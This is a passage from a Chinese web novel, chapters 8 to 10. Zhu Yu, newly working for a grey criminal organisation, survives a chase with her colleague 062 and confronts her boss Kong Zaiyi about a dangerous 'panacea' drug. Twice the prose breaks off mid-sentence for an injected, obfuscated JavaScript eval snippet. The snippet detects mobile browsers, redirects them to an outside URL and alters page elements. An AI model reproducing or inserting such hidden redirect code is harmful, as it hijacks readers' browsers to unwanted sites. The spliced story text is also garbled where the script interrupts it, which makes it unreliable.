相片里,男性的发丝是柔软的白金色,睁开双眼,定定地注视着相片外的某人,宛若无声地宣泄着爱语。 兔卷sharke注视着她接下相片,却没有第一时间让工作人员收拾场地,而是自下而上地、坐在原地看着祝余,轻飘飘地问: “下次,还会再来吗?下次,还会有新歌,你会喜欢吗?” 那双单薄的眼皮原本凉薄,瞳仁却圆润明亮,上目线的视觉角度使他看起来并非一个全然的人,而是一个等待着什么人怜惜的商品。 就是因为他擅长于将自己放在这种位置上,才会这么招人喜欢吗? 祝余心中有这种疑惑。 祝余迟疑片刻,才慢慢点头: “会来的。” 她补充一句: “下次,你注视着观众席的时候,我会在你的眼睛里。” 说罢,她转身就走。 没看到身后男性愣怔的表情,也没看到他沉默地注视着自己的背影,直到消失不见。 经纪人站在一旁,吩咐着工作人员整理桌面上的礼物。 兔卷sharke没有站起来,只是揉了揉额角,告诉他: “巡演定好了先给我看一眼。” …… 演唱会结束之后,星子已然缀在夜空中。 祝余歪着脑袋,将走时领到的物料拎在手里,查看着手机里的消息。 明天下午,她就要乘坐三点钟的航班飞回灰土所在的地界。 今天晚上的住宿也已经有人安排好了。 对接人员的口吻比起之前的公事公办,多了一分无言的熟络。 [062:在出口通道左边,G0403。] 祝余走出场馆,左右张望着,才看到一辆纯黑色的商务车停在树荫遮蔽的角落里,不仔细一点几乎很难察觉。 果然是灰色组织,反侦察意识这么强…… 她走过去,敲敲驾驶位的玻璃,那块玻璃缓慢平稳地下降,也让她看清楚了坐在驾驶位的那人。 男人挑着眉,头发炸炸的,眼睛明亮有神,面容被平整的口罩包裹着,看不清晰。 但面中却突兀地顶起一块,那是一处尖峭明显的鼻梁,将口罩顶出一片可以轻松呼吸的富裕。 “上车吧,祝余。” 他清楚地念出了面前人的名字,态度十分值得考量。 062看着她,眼睛笑得弯弯,总有种促狭感。 浓眉大眼的,却越看越不像好人。 8. 第 8 章 事情怎么会变成这样呢? 祝余蜷缩着小腿保持平衡,双手拉着头顶的安全把手,即便整个上半身都被安全带束缚在原地,还是无法抗拒车子巨大的惯性力,东倒西歪地晃个不停。 脸上是惊慌到逐渐麻木的表情。 看完一场演唱会之后再来一把酣畅淋漓的飙车局,该是多么惬意…… 才怪呢! 修长简约的商务车,正以160迈的速度于夜间的城市道路上狂奔着,这完全已经是超越混动车极限的速度,甚至于祝余能听到发动机高声的轰鸣。车辆在平稳的路上穿行着,地心引力和略微的推背感把祝余拍在座椅靠背上。 感觉自己变成了一团软乎乎的泥。 偏偏主驾驶位的男人还一脸笑眯眯的表情,单手挎住方向盘,另一只手反复确认着中控台上的导航路线,声音惬意: “安心,安心,会把你安全送到的哦~” 够了! 回头看看身后的那帮人再说这种风凉话吧! 眼下的局面,简直是警/匪片的写照。 而祝余上的这辆贼车,就是那个被追得屁滚尿流的犯罪分子。 到底为什么要在城市道路上演速度与激情?我们停下车来好好交涉不行吗? 主驾驶位的男人还有心思摇下车窗,略带兴味地看着车身后那几辆并排而行的纯黑越野,看那模样像是要与对方在这小破路上博弈一般。 “喂……”祝余觉得自己快要吐了,“你不会是要开进去吧?” 她虚弱地指了指前面那条被障碍栓阻挡的狭窄小路,是否能容纳一车通过都很难说。 062的脸上仍然风轻云淡,他的声音被闷在口罩里,却足够得清亮: “啊,得救了,正好有条路呢。” 有条路? 哪里来的路? 他真的在认真听我说话吗? 祝余简直要崩溃了。 灰土有投诉机制吗? 等她活下来,一定要回去投诉这个把混动车开成f1的疯子! 事实证明,这真的不是一条路。 “喀拉喀拉”的声音在耳边响起。 祝余亲眼看到两面后视镜因为被墙面挤压而逐渐扭曲变形。 好消息,车是进来了。 坏消息,车已经失去了作为“车”的形态。 直到背后的一行越野于视野中消失不见之后,祝余屁股下面这辆可怜的商务车终于停了下来,在这条狭窄拥挤的小巷子里被硬生生挤成了甲壳虫。 Safe。 但也不那么safe。 祝余放下手,手心冷汗直冒。 那一瞬间,真的以为自己要死了。 主驾驶位的062已经面色如常地解开安全带,从座位上站起来,直接用蛮力将头顶的天窗拉开。 忘了说了。 在商务车被挤成甲壳虫的那一瞬间,车辆就彻底熄火报废了。 “你是……疯了吗?”祝余差点一口气没喘上来。 062很无辜。 他已经双手撑着头顶的天窗,下一秒就要跳出去了,却还是回头,瞪着圆圆的眼睛看着齐穗,不解道: “唔?是因为你哦,那些人是因为你才来的,我是被你连累的可怜家伙呢。” 祝余:“哈?你绝对是疯了。” 062笑起来,没有解释,黝黑有神的眼睛弯成两簇月牙,朝她伸手,“来,我拉你哦。” 祝余已经完全没力气了。 她瘫在原地喘息了两口气,才抓紧那只粗糙的手掌,艰难地踩着座椅站起身来。 男人的身体很温暖,带着一股奇怪的硝烟味,让祝余联想到不太好的事情。 狭窄的天窗显然不可能一下子容纳两个人,只能一个个爬出去。 但是…… 062看看祝余的脸,手掌又顺着她的手腕攀爬上来,捏了捏她小臂内侧下缘的软肉,才叹了口气,“你完全不锻炼的吗?祝余。” 口气很嫌弃,完全是给他添麻烦了的语气。 置别人于险境中的家伙有什么资格说这种话啊?! 祝余真的毛了:“喂,我有给你导航过其他的路吧?谁让你要走这条的?还把车干报废了。我要投诉你,知道吗?我要投诉你!!” 062抬头,伸手丈量了一下天窗的尺寸,煞有其事地点点头: “欢迎欢迎哦,如果能把我投诉到不用上班,我会跪下来一边叫你祖宗一边感谢你的。” 说罢,他嘿咻一声,热热的手掌握着祝余的腰,硬生生将她整个人推出天窗,宛若一只被拔出去的地鼠。 “好了,自己往上爬吧。”他松开手,却没有放任祝余一个人行动,而是抓着祝余的脚腕,让她小腿后屈踩在自己的肩膀上,给了她一个足够发力的支撑点。 祝余发誓,她从来没有过这样的经历。 大半夜的,像女鬼一样从报废的车里爬出来,还被不知名的男人抓着小腿。 这份工作真的好危险,感觉随时随地会被身边的同事或者对面的敌人弄死。 祝余咬牙,恶狠狠地踩住男人的肩膀,以一个扭曲且诡异的姿势从天窗里爬出来,再狼狈地转身从车顶上滑下去。 而062呢? 他轻轻松松双手撑着便自己窜了出来,蹲在车顶上像只敏捷的黑豹,落地的声音微乎其微,面上一派淡定。 站定之后,他甚至还伸手拍拍自己肩膀上,那个祝余留下的鞋印,看起来好不惬意。 坐在车里的时候,两个人的身高差好像不是很明显。但等到实打实地站立在地面上之后,祝余才发现这个不靠谱的同事有多高。 祝余自己本身并不矮,即便扮作男性也不算突兀。尽管如此,062也还是比她整整高了一个头半,身体修长得很吓人,身形也结实强壮。 一拳头打过来,祝余怕是要头七。 沉默了半分钟之后,祝余决定先忍过这个态度极差的同事,不自在地问: “062,我们怎么回去?” 没有人回答她。 转头一看,062已然一脚踹开后备箱,整个人埋在后备空间里,窸窸窣窣地不知道在搞什么东西。 本身卡在小巷子里就够倒霉了。 祝余生怕他再搞什么飞机,赶紧凑过去。 后备箱里宽大的空间中,正横陈着一辆黑红色的漂亮机车,是那种车尾巴翘得比天高,一加油会轰隆隆响个不停的类型。 车头处用铁链和防撞栏固定着两桶机油。 怪不得祝余在062身上闻到奇怪的味道。 062一把拎出两桶机油,语气带着侥幸的意味: “幸好这个没撞坏呢,要是坏了又要被骂了。” 车呢? 车就不要了吗? 祝余一时之间不知道该说什么。 她看着062把机车立起,熟练地加油,再俯身掏出一个大红色的安全头盔递给祝余,眼睛亮亮的,鼻梁顶得口罩翘起小尖尖,心情甚至很有余裕的模样。 等到被套上头盔坐上机车后座,胳膊搂着男人宽厚的腰背时,祝余的心情还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407022|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是相当复杂。 跨海大桥的风格外大。 它们顺着耳朵往后吹,吹不进安全头盔里。 一点都不安全。 甚至有些恐怖。 祝余感觉到自己的脖颈连着脊背爬满了因恐惧而生的鸡皮疙瘩,竖毛肌兢兢业业地工作着。 第一次工作就遇到这种事情。 还是说,这其实才是这份工作的常态? 被她僵硬搂住的062仿佛洞悉了祝余的想法,声音顺着风的方向飘过来,格外清晰: “祝余,你是我接手的第十个同事了哦~” 所以呢? 还没等祝余思考,她的嘴巴就已经将问句说出了口。 风明明往后吹,声音却逆着传递,让062听得很清晰。 062说: “前面的那些啊,全都不见了呢。” 他的声音清亮,却带着冷漠。 祝余不想知道“不见”的定义。 062却自顾自地说: “吉田在外面的借贷方不只有灰土。如果只有吉田太太一个人,其他组织倒也可以肆无忌惮地找她麻烦。但好像不是呢。” “吉田太太,有着属于自己的秘密。而你,恐怕是第一个从她嘴巴里翘出一点来源的人。” “所以,要努力着不要死哦,祝余,你还蛮讨人喜欢的。” 062说完这句话,呼啸的风便停下了。 他一只脚支着机车,转过身,手掌伸过来,将祝余下颌处的搭扣解开。 眼前,已然是祝余熟悉的景象。 有侍者走上前,恭恭敬敬地站在一旁等候着。 而062摘下口罩,炸成海胆的发型不显毛躁,反而衬得那张脸有着超出意料的稚气。 那是一张足够有朝气的脸,鼻梁挺直,纵深极高的眼裂显得面部轮廓鲜明而立体。 他笑着露出白牙,肤色略深,完全没有边界感地凑近祝余的脸,眼睛像是在审视着眼前女性的模样,接着点点头,道: “果然和方时说的一样,是大家都会喜欢的类型呢。” 有活力、年轻、帅气。 假若他不是灰色组织的某个人,祝余也会相信他说的话。 “放心吧,这里已经是BOSS的地盘了,你可以安安心心睡一觉,明天我来接你回去。”他狂放地薅了一把自己头顶的炸毛。 祝余盯着眼前的人。 被追车、在跨海大桥上飙机车的刺激感让心脏还砰砰直跳,那种生命被威胁的恐慌感一时半会都无法消散。 谁都不可信。 如果想要活下去,想要享受自己来之不易的二次生命,就要努力让自己变得有价值。 062歪歪头:“怎么了?害怕吗?” 祝余瞥他一眼,冷冷道: “我会投诉你的。” 接着转身就走。 062眨眨眼睛,看着她的背影,“噗嗤”一声,抱着肚子笑得很夸张。 好有趣,好有趣,超级有趣啊。 和哭着要回家的同事不一样,和急匆匆要跑路结果在莫名其妙的地方死掉的同事也不一样。 这次的新同事,是个很有趣、也很奇怪的女孩子呢。 062招招手,也不顾祝余还能不能看得到,大声说: “一定要投诉我哦,一定要哦!” 神经病,疯子。 祝余暗骂着,顶着那人过分灼热的视线走进电梯,直到两人相交连的目光被关闭的电梯门切断,她才瘫软地靠在电梯间里,迟迟无法动作。 9. 第 9 章 [孔:任务辛苦了。] 啊,是从总系统里发来的联络讯息呢。 祝余扑进柔软的床里,倦怠地点开手机。 尽管看不到账号的具体信息,但仅仅只是这个title就明白是何许人也了。 这台离开灰土时才配备给她的手机上,连通着一个不管是格式化还是ROOT都没法卸载的局域网。 不能和任何人互换联络方式的原因就在这里。 这台手机是随时随地被监视的状态,甚至于哪怕只是点开浏览器检索关键词也会被捕捉到,她的一举一动都被注视着。 但是,顶头上司居然会发来讯息慰问自己吗? 果然是完成任务之后,“祝余”这个存在有了些微价值的原因吧? 也有可能是因为那个吧。 “万能药”什么的。 说到底,这种东西真的存在吗? 要是存在的话,可能自己会被第一个灭口吧? 屏幕里略显亲昵的口吻让祝余感到十分抽离。 就好像他们有多熟悉一样。 这明明是不正常的。 正确回复的做法大概是—— 用恭维的口气说这没什么大不了,并在这位顶头上司的面前表忠心,尽量把自己变得无害。 但是还是不要了。 祝余讨厌那样。 因为证明自己有价值的部分已经完成了。 哪怕没有属于隐私的个人空间。但只有自己一个人在的时候,她不想再负担多余的工作,尽管这样不讨人喜欢。 在原来的世界里,也正是因为讨厌和社会上的人交涉,才会被可恶的学长骗进三无公司。 交流,是最让祝余厌烦的事情。 她把自己埋进沙发里,像一只逃避现实的鸵鸟,然后用拇指在键盘上随便打下一个颜文字发过去,不打算做任何多余的行动。 手机沉默下去。 但很快,祝余眯着眼睛即将昏昏入睡时,屏幕那边又短暂地闪烁一下。 她艰难地抬手扫了一眼。 屏幕上只有三个字: [孔:做得好。] 唔。 原来发过去这样一个颜文字啊。 祝余的目光落到那里。 [祝余:o(╥﹏╥)o] …… 头发,真的很像一颗膨胀的海胆。 而且不是那种温顺的海胆,而是会在海底横行霸道,每一根发丝都张扬地飞向不同的角度的那种海胆。 就连面前这个人的性格也和这颗脑袋一模一样。 062哼着不成调的曲子,撑着下巴,大腿懒洋洋地交叠着,一只手掌捧着小小的手机,脸上的表情悠闲惬意。 他身上的气味仍然带着过分的硝烟味,那是一种让人很难忽视的味道。 就像人类天生对血腥味感到敏感一样。 这种气味也总让祝余联想到不好的事情。 半夜是又去火/拼了吗? 可是看他的脸色,明明精力十分充足的模样啊。 两人之间的座位不算近。 回程的机票是商务座。 但男人过分大块的体格显得商务座也小小的,到处都小小的。 这种体型很容易让人产生不适感。 但放在062身上就变得不同,因为他有一张好脸。 甚至还会热情地帮其他乘客放行李,怎么看怎么正直得可怕。 祝余不适地挪了挪膝盖,离062远了些,清清嗓子,问道: “昨天晚上的那些人——” 这是个还算不错的话题。 062侧着脑袋,像一只猫一样把自己整个上半身都蜷缩起来,眯着眼睛笑得很灿烂,声音轻轻小小: “没问题了哦,知道你会害怕,我就稍~微和他们谈了谈呢。” “谈了谈”? 这个词汇的定义很广泛。 “啊,嗯……”祝余语塞,“你开心就好。” 男性却不赞同地摇摇头:“不对呢,我是为了让你开心才去的哦,你有变得开心吗?” 祝余说不好心底这种热腾腾的情绪是什么,但肯定不是开心,她猜测,自己应该是被这种冠冕堂皇的说法气疯了…… 为什么每次和这个人交流,都有一种自己的语言无法传达到他大脑里的无力感? 她深呼吸一口气,决定再说点什么: “那,回去要怎么……交代?” “嗯?” 062眨眨眼。 祝余看着他没什么波动的表情,也跟着眨眨眼。 他张张嘴巴,却没有发出声音,有种欲言又止的笨拙感。 祝余:“……” “这个……要交代吗?”他终于开口问。 欸? 当然了!!! 不对,等一下…… 按照她匮乏的经验来看。 祝余艰难地试探着: “你该不会是把他们都——” 她比了个砍瓜切菜的动作。 这个动作倒是十分简单易懂,易懂到身侧那个无脑大型生物也眯眯眼笑起来。 “当然没有啦,BOSS交代过不能做那么残忍的事情的,你好有经验哦,小余。” 为什么变成小余了? 我们是从哪句话开始变成这种可以称呼小名的关系的? 值得吐槽的好像不止这个。 男性面上的表情逐渐变得恍然大悟起来: “原来这个也是要报告的啊,怪不得总有后勤部的来找我询问一些乱七八糟的事情。啊,糟糕了,我根本记不住呢。” 算了。 祝余木着一张脸,问道: “我现在换一个对接人还来得及吗?” “嗯嗯——”062在胸前比了个大大的叉,发出模拟错题音效的声响,脸上的表情肉眼可见地十分狡黠。 真讨厌。 这是个和祝余的气场完全不合的家伙。 算了。 就算知道是诈骗也来不及了,尽量避免和这个家伙对接吧。 祝余绝对不会放弃投诉的。 当然,说是这么说。 但是等她站在孔在一面前的时候,话就要变得委婉很多。 一个月前,那短短的几分钟并不足以让祝余了解这个男人。 甚至于再次站在他面前的时候,祝余竟发现自己的脑海中,孔在一的脸都变得逐渐模糊。 只剩下那双宛若蓝宝石一般的双眼。 一双纯净的、却也证明了他血统的眼睛。 不同于兔卷sharke的过度包装,眼前这个男人,是个实打实的混血儿。 剧本里那些乱七八糟、这样那样的情节都逐渐被遗忘,混血这个概念为祝余带来的不再与情/色沾边,而是变成了孔在一稳稳坐在这里的资本。 灰土跨越着边境线,在混乱的社会中求存,占据着这一片无界地带,才是真正的现实问题。 孔在一是个稍微有些奇怪的人。 按理来说,祝余这样没有身份、没有来历的逃亡者,不论走到哪里都没有利用的价值。 但他不同。 祝余不知道他是否看到了自己身上那隐藏的东西,也不明白他安排自己进入灰土工作的意义。 孔在一似乎只是用那双温和的眼眸注视着祝余的身体,就会让她产生某种“坚持下去”的意念。 她只知道,她要确保孔在一的眼光是正确的。 她要在这样一个社会中活下去。 那男人笑的声音都轻飘飘,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407023|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里人和我说过了,dobby很喜欢你呢。” 家里人,不是真的家里人,只是孔在一雇佣来的。 而Dobby,是一只穿着公主裙的马尔济斯犬。 祝余偶然有一次接到了照顾它的任务,被它用水淋淋的眼神注视着,打扫了整层房。 那是属于dobby的“狗窝”,却比祝余现在住的地方大上数倍。 孔在一现在提起dobby,是在羞辱自己吗? 祝余不确定。 因为他确实说过,祝余很像那只乖巧的马尔济斯犬。 但是祝余却觉得。 那只眼睛水汪汪的马尔济斯犬,和面前的孔在一更为相似。 那种歪着头,柔软却疏离的眼神,像极了。 啊,这话大概率是不能说出来的,也不能和谁分享。 祝余只把这种想法在自己脑袋里过一遍,总不可能被谁知道。 就像是报复一样,用这种方式来扭曲孔在一的形象,心底里的恐惧卑微便能消散一部分,让祝余能心安理得地回答他。 祝余直视着那双眼睛,尽管看不清那其中属于自己的模样,但她也认为自己冷静得可怕。 她说: “嗯,我也喜欢它。” 祝余不觉得自己的任务有什么需要汇报的。 也不认为,她这小小的“四千万”能被这位顶头上司看在眼里。 那么,就只剩下那个了。 她看到男人的身影逐渐放松,一只手支着下巴,光影打过来,脸的暗部完全消失,直到只剩下那双钴蓝色的双眼幽幽地发亮。 “你很讨人喜欢。”孔在一这么说,“柳小姐很喜欢你,方时很喜欢你,执行部的工作人员也说你做得很好。” “柳小姐”…… 祝余反应了一下,才意识到这个姓氏代表的是那位态度奇怪的“吉田太太”。 孔在一的声音温润,带着一点点尾调的沙哑。 原来那不是他生病的症状,而是他的声线天生就带着闷哑。 他慢慢地,继续说着: “你很有天分,做到了他们都做不到的事情。” 这种缓慢的语调能给人带来天然的压力。 “你有考虑过,一直留在这里吗?”男性的手掌张开,拍了拍自己身旁的位置,那是从者的位置。 留在“这里”,留在我身边。 或许这才是他想表达的意图。 但是凭什么呢? 祝余只是个逃亡者。 一个月前,她甚至还没有身份。 这太不寻常了。 祝余知道,只要答应下来,她或许就可以一步升天。 啊,不对,一步升天或许不太准确,但至少,她不用再担忧自己的生命安全,可以—不需要那么努力活下去也可以,可以—顺应自己的心意也不错。 但是不行的。 不可以的。 祝余不想做自己不喜欢的事情。 但不喜欢和厌恶两者之间,也有着无法跨越的沟壑。 如果要做令自己感到厌恶的事情,那么不喜欢的事情好像也可以勉强坚持。 人不就是这样的动物吗? 所以,她决定了。 那些言语背后,那些被混乱而危险的夜晚遮蔽过去的,最主要的原因。 她想,她已经找到了。 祝余往前跨了一步,那光打在她脸上。 那双无神的、瞳仁略小的眼睛,此刻正闪着普通的光,和每一簇阳光并无不同。 可偏偏那光蔓延在那张脸上时,显得格外坚定从容。 有人,负起阿波罗的伟力。 她的嘴巴张开。 她的嘴巴颤动。 她的嘴巴疑问: “……” 10. 第 10 章(替换章) 回到灰土之后,祝余第一时间借由062的名义调出了一部分吉田先生的档案,其中就包括他本人曾在医院就诊的病历单。 既往史表明,他确确实实有着多发神经纤维瘤的病症,但那已经是五年前的事情了。 对于病人而言,五年是很漫长的时间。这段时间或许丈量着吉田先生的生死,越是往前走一步,他便越是跌入悬崖。 在这样漫长的时间当中,吉田先生却没有得到合理的救治,这是相当不正常的。 最坏的情况就是,他已经死了,死在了不为人知的地方。 那么他和灰土之间的账单,就彻彻底底变成了坏账。 但显然,孔在一并不是为了这区区的四千万才到处追查他的行踪。对于他而言,四千万只是一抹尘埃罢了。 但孔在一又不是纯粹的唯利是图。 在情色剧本的遮盖下,他也少见地暴露出了一丝真心。 这种牵连着肉/欲的真心是虚伪的,是刻意塑造出来的,为了赋予他廉价的魅力。 他真正想要的—— 那张男性的脸,温和秀丽,不动声色。 祝余注视着他的眼底,似乎是希望从那当中看出些许波澜。 但令她失望的是—— 没有。 什么都没有。 再次重申一遍,祝余只是个普通人而已。 在成为站在这里的“祝余”之前,她仅仅刚从漫长稚嫩的学习生涯中步入社会。 她生活中最大的困扰也仅仅是没有完成这周的工作,必须要晚点才能到家。 站在这里,身边的一切对她而言都是陌生的。 什么灰色组织,什么从未见过的任务,什么能把她压垮的四千万…… 祝余并不否认自己的软弱。 她就如同“何不食肉糜”的年幼君主一般,因为从未体会过病痛靡烂的折磨,而可以发自内心地说出一句—— “那东西简直是蛊惑人心的魔鬼”。 可是或许,事实与她的认知截然相反。所谓的“万能药”对于这里——灰土,甚至于全世界任何一个正在身处痛苦中的人而言,就是一味良药。 医治苦毒,医治贫穷,医治衰老。 祝余可以毫不犹豫地承认,如果这种药放在她面前,她可能也只会犹豫几秒便全盘接受。 但即便如此。 意志告诉她,那也是不可以的。 人之所以是人,是因为人拥有被规训的特性。人类在成长的过程中被不断套上枷锁,最终才变成一个能够独立思考、能够遵循规章制度的文明者。 因为这个世界上绝不存在能够医治所有疾病、甚至于死亡的万能药。 更何况它仍建立在人类隐晦的痛苦之上,有卑劣的人利用它,将甜言蜜语灌入同胞们的心里。 所以,面前的孔在一又是如何的人呢? 他到底是妄图掌控万能药,将其作为自己的下一个目标,最终收拢手中势力的野心家?还是需要这美丽狠毒的宝物,来医治自己的痛苦,满足自己欲望的利己者? 祝余发现了。 她除了质问之外,或许什么都做不到。 但尽管如此,祝余才无法忍受这种理所当然。 因为身居高位便可以理所应当地利用所有人,这种阶层上的“秩序”才是让人无法忍受的。 人类变成耗材,这才是最畸形的地方。 祝余之所以还站在这里,是因为孔在一是特殊的,因为他是编剧老师十分喜欢的角色。 创作他的编剧老师说过: “他是个坏人,我为他安排了最合理的结局。但正因为他是个坏人,当我写下他接受命运的从容时,也明白了他那份虚伪的真心。” 是个虚伪狡诈的坏人。 与虎谋皮的话会很危险。 但祝余已经站在这里,无论如何都不可能后退了。 她相信编剧老师,也即将赌上自己的判断。 所以。 她问: “孔先生,站在这里的我,于你而言是什么?” 这间黑暗的、铺满柔软地毯的办公室里,男性占据着最主要的位置。 他的模样和神情都无比坦然。 风度翩翩、仪表堂堂。 他的唇边勾起微弱的弧度,是一种泰然处之的娴静。 因为没有感受到冒犯,所以不会生气;还是为祝余的发言而感到生气这件事,对他而言是不值当的? 孔在一镇定地,将下巴置于交握双手的指背上,面颊上的每一丝弧度、每一根柔顺的发丝,都显得无比平和。 安静的房间里,男人的声线更加清晰。 他说: “是同伴。” …… 得不到答案时,祝余认为理所当然。 但得到答案后,内容却让她啼笑皆非、无法接受。 她近乎尖锐地指出: “同伴?那我的死亡算什么?062的态度也是你指示的吗?同伴需要通过筛选来获得吗?” 孔在一的神情仍然不变。 “是的。”他说,“我身边的每一个人,都通过了残酷的筛选。” 他是多么的高傲。 却让祝余内心升起无法浇熄的火种。 无法理解,无法认同,无法接受,更加无法忍耐。 这比把人类当做耗材还要高傲、还要让人感到无力和愤怒。 祝余认为自己很天真。 即便对方是灰色组织的头领,却仍然想要和他达成所谓的共识。 但实际上,或许这种共识从一开始就不存在。 她太笨拙,太自作聪明了吗? 祝余摇摇头,“那不是同伴,那只是你可以利用的工具而已。” 062是他的同伴吗? 方时是他的同伴吗? 还有那些,在灰土中数不尽的流浪者……他们做着同样的事情,或许肮脏或许渺小,像祝余一样,为灰土制造利益的人们,能算作他的同伴吗? 同伴。 这样温情的词,却安放在这些人身上,才显得格外残酷。 孔在一近乎残酷地陈述: “是的,我不否认这一点。但同样地,我不会拒绝他们利用我。” 男人的声音听起来很遥远: “祝余,你要知道,互相利用的、互相绑定的人类,同样算作同伴,我们都是恶行的仆从。” “所以,”祝余终于撕开那层伪装,“你想要用所谓的万能药,做些什么呢?” “让我猜猜吧。”祝余几乎无力道。 “现在看来,万能药或许还只是个噱头,或许仍然停留在初期的研发阶段。尽管只是研发阶段,却也能够凭借着这种肮脏的手段在地下市场中流通。但对你而言或许不一样。你很有钱,灰土很有钱,或许甚至不需要什么乱七八糟的噱头,只是你的名头便可以吸引来无数人。你只需要再干脆一些,再冷漠一些,用那些可怜的、流离失所的人类的肉/体,让他们自愿成为这个项目的实验者,源源不断地、为万能药输送着‘血液’。这是挑战伦理的肉/体实验没错,但没关系,你只需要在成功之后宣扬这是为了全人类的自由伟大就足够了,你将名留青史。” “你口中的同伴,将变成你成功路上的垫脚石。” 祝余说到嘴巴干涩。 这并不代表着她渴了。 她为自己话中,那恐怖的利益和巨大的可行性而畏惧着。 潘多拉的魔盒一旦打开,就再也没有关闭的途径。 “哈——” 男性昂头,长长地叹息着。 祝余就站在原地,看着他在那一瞬间变得漠然的情绪。即便面对自己的质问,他也并没有暴露出任何意外的神情。 “你真不像这里的人。”孔在一说,“我的意思是,你很善良、很心软,会为了你不认识的人而感到愤怒。” 男性抬起下颌,逼仄的气氛是居高临下的。 “那么,你知道了我打算做些什么,是想要阻止我吗?” 他挑眉,“你不怕死吗?” 怕。 当然怕。 为了活下去,她留在这里,做着不喜欢的工作。 祝余很喜欢、很珍惜自己的生命。 可万一,她要通过剥夺别人的生命来保全自己的话,那她还是她吗? 孔在一的话很直白。 也是,对于他而言,祝余这种坚持很愚蠢。 祝余只能颤抖着唇瓣回答他: “我的生命一文不值。” 女性的身体柔软,从未经历过严苛的磋磨。 但是不知为何,她站在面前,用那双坚定中含着胆怯的双眸注视孔在一时,他的身体泛起了麻意。 那就像是即将被捕食者吞吃的草食动物的恐惧一样,是一种将会被同化、将会被吞并消亡的神经反射。 她唇齿间吐出的每一个字,都像是陷阱。 孔在一尚且不明白,那种从身体深处泛起的麻痹是从何而来。 但眼前的女性正尝试着给他一个解答。 祝余举起手机: “没关系,我知道我没有任何能力,我知道我的命如同草芥。” 被监视的手机当中,有一处永远不会与局域网相通的“暗室”,叫做嵌入式数据库,那是这台手机“出生”之时便携带的功能。它不会被网络、监视器……以及其他的任何因素影响,那是电子数据的孤岛。 祝余利用了它。 万能药的信息、灰土的信息、孔在一的信息、062的信息、方时的信息、执行部前台小姐的信息…… 她所能了解到的,她所知道的,她所看到的—— 一切的一切。 都储存在那个小小的文件夹中。 “但是,你要试试看吗?”她手中的屏幕闪动起来,那是一种特殊的文件传输途径,将屏幕闪动的频率、色彩记录下来,便能完整复刻整封文件的内容。 祝余的表情有略微的扭曲,显然已经失去了冷静。 但同样地,她也失去了感到恐惧的能力。 “如果是为了全·人·类的万能药,那就应该让全·人·类都知道,不是吗?” 手机屏幕闪烁着,其上刺目的机械条跳动着、扭曲着,就如同此刻空气中的矛盾因子,一刻不停地沸腾。 祝余明白。 自己绝对不算聪明,也绝对不算机敏,面对孔在一这样的人,她能威胁的手段和程度少之又少。 但是没关系。 失败了也没关系。 至少,她还有利用价值。 祝余赌—— 自己不会失败! 她死死盯着孔在一的脸,像是要把那张面具似的脸庞撕下来,将后面柔软的部分捣个粉碎。 男性的睫毛缓慢地颤动着,这副模样的孔在一安静下来,秀美的面庞竟透露着几分脆弱感。 在这沉默而窒息的几秒内,祝余想象了自己的千百种死法。 但当孔在一真正行动的时候,却又彻底突破了祝余的防线。 他站起身。 手伸过来。 没有接触祝余的任何部位,甚至脚步也停在了远离祝余两步之外的位置。 这是一个刚刚好的社交距离。 人们可以看清对方的面容,可以分析对方脸上的表情,可以通过对方眼中的情绪来分辨对方的思考。 他们的身高差距不算大,但二人仍然做不到互相平视。 孔在一微微躬身,真丝衬衫领口被领针的重量带动,于胸前摇曳着。 白皙的、洁净的、干爽的皮肤。 没有一丝瑕疵,也没有一丝破损,像完美的艺术品一样呈现在祝余面前。 有意无心。 然后,他说: “抱歉,我应该先为我的冒犯而道歉。” 他离祝余很远,远到祝余无法看清他领针上的花饰,但声音却很近,像是就在耳边呢喃。 他称赞着: “你是个特别的人,或许我更加需要你的意志。” “万能药,或许之后你会听到它的全名——弥赛亚粒子,是一种以纳米级人造物搭载未知药物的治疗途径。几年前,它曾经在灰土短暂流行过,当时的灰土几乎有多半的人都因为这种全新未知的药物而丧命。” “那是一味甘甜残忍的毒。而我要的,是它的湮灭。” “但是,或许对人类而言,这是更加极端的、更加冷漠的做法。因为万能药的存在,未来或许仍然能治愈更多人。但我要毁掉它,便会断送更多人的生机。” 手掌朝上。 男性虔诚扬目,纯色的瞳线平直,如同等待救赎自己的弥赛亚: “祝余,抱歉让你感到不安,但我仍然渴求——” “你愿意成为我的同伴吗?” 银色的领针晃啊晃,像是一条恰到好处的绳索,食指伸过去勾着,便能将他掌控其中。 祝余大脑麻木。 这是一个自古以来便争吵不断的命题。 拯救人的药同样会招致人的死亡,那么它的存在到底合理与否? 祝余不知道。 她唯一知道的是—— 她或许需要不停地寻找着答案,而不要非黑即白、或者盲目相信眼前男性口中的话。 男人的脸很好看,当然也会骗人。 祝余最终选择宽恕这个男人。 但她仅仅是选择了他表面上的温和,也选择了在从前的世界中,编剧老师笔下的形象而已。 或者说,她相信的,其实是这个站在这里的自己。 孔在一邀请祝余,光影眷恋似的依附在他身上,那副模样令人根本无法拒绝。 “留在他身边”。 “成为他的盟友”。 “她和他将分享这世界上唯一一个、独一无二的秘密”。 说实话,这些事情,祝余根本不在乎。 在一个社会秩序几乎要失衡的新世界里,善恶都变得极端。 